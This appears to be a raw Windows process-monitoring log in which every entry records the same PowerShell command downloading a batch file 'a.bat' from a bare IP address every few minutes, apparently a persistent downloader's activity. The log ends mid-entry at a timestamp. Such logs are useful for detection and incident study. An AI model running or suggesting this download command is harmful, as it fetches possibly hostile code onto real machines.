2024-09-19 07:16:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 07:18:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 07:21:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 07:24:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 07:26:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 07:29:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 07:31:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 07:34:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 07:36:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 07:39:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 07:41:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 07:44:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 07:46:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 07:49:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 07:51:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 07:54:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 07:56:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 07:59:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 08:01:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 08:04:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 08:06:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 08:09:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 08:11:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 08:14:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 08:17:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 08:19:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 08:22:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 08:24:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 08:27:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 08:29:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 08:32:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 08:34:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 08:37:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 08:39:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 08:42:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 08:44:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 08:47:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 08:49:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 08:52:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 08:54:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 08:57:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 08:59:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 09:02:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 09:04:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 09:07:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 09:09:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 09:12:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 09:15:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 09:17:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 09:20:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 09:22:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 09:25:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 09:27:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 09:30:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 09:32:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 09:35:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 09:37:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 09:40:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 09:42:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 09:45:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 09:47:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 09:50:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 09:52:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 09:55:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 09:57:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 10:00:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 10:02:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 10:05:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 10:07:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 10:10:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 10:12:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 10:15:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 10:18:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 10:20:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 10:23:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 10:25:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 10:28:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 10:30:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 10:33:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 10:35:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 10:38:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 10:40:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 10:43:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 10:45:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 10:48:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 10:50:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 10:53:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 10:55:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 10:58:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 11:00:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 11:03:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 11:05:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 11:08:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 11:10:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 11:13:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 11:16:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 11:18:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 11:21:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 11:23:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 11:26:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 11:28:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 11:31:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 11:33:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 11:36:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 11:38:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 11:41:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 11:43:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 11:46:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 11:48:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 11:51:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 11:53:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 11:56:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 11:58:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 12:01:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 12:03:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 12:06:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 12:08:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 12:11:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 12:14:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 12:16:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 12:19:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 12:21:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 12:24:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 12:26:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 12:29:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 12:31:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 12:34:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 12:36:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 12:39:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 12:41:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 12:44:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 12:46:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 12:49:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 12:51:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 12:54:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-19 12:56:54 